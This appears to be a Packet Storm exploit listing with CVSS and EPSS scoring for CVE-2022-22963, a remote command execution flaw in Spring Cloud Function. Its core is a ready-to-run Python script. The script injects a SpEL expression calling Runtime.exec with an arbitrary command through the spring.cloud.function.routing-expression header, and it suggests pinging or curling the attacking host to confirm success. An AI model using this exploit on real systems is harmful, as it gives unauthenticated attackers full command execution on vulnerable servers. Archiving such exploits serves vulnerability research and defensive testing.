Lucene search

K
packetstormGatoGamer1155, 0bfxgh0stPACKETSTORM:173430
HistoryJul 12, 2023 - 12:00 a.m.

Spring Cloud 3.2.2 Remote Command Execution

2023-07-1200:00:00
GatoGamer1155, 0bfxgh0st
packetstormsecurity.com
166

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

`# Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution (RCE)  
# Date: 07/07/2023  
# Exploit Author: GatoGamer1155, 0bfxgh0st  
# Vendor Homepage: https://spring.io/projects/spring-cloud-function/  
# Description: Exploit to execute commands exploiting CVE-2022-22963  
# Software Link: https://spring.io/projects/spring-cloud-function  
# CVE: CVE-2022-22963  
  
import requests, argparse, json  
  
parser = argparse.ArgumentParser()  
parser.add_argument("--url", type=str, help="http://172.17.0.2:8080/functionRouter", required=True)  
parser.add_argument("--command", type=str, help="ping -c1 172.17.0.1", required=True)  
args = parser.parse_args()  
  
print("\n\033[0;37m[\033[0;33m!\033[0;37m] It is possible that the output of the injected command is not reflected in the response, to validate if the server is vulnerable run a ping or curl to the attacking host\n")  
  
headers = {"spring.cloud.function.routing-expression": 'T(java.lang.Runtime).getRuntime().exec("%s")' % args.command }  
data = {"data": ""}  
  
request = requests.post(args.url, data=data, headers=headers)  
response = json.dumps(json.loads(request.text), indent=2)  
print(response)  
  
  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%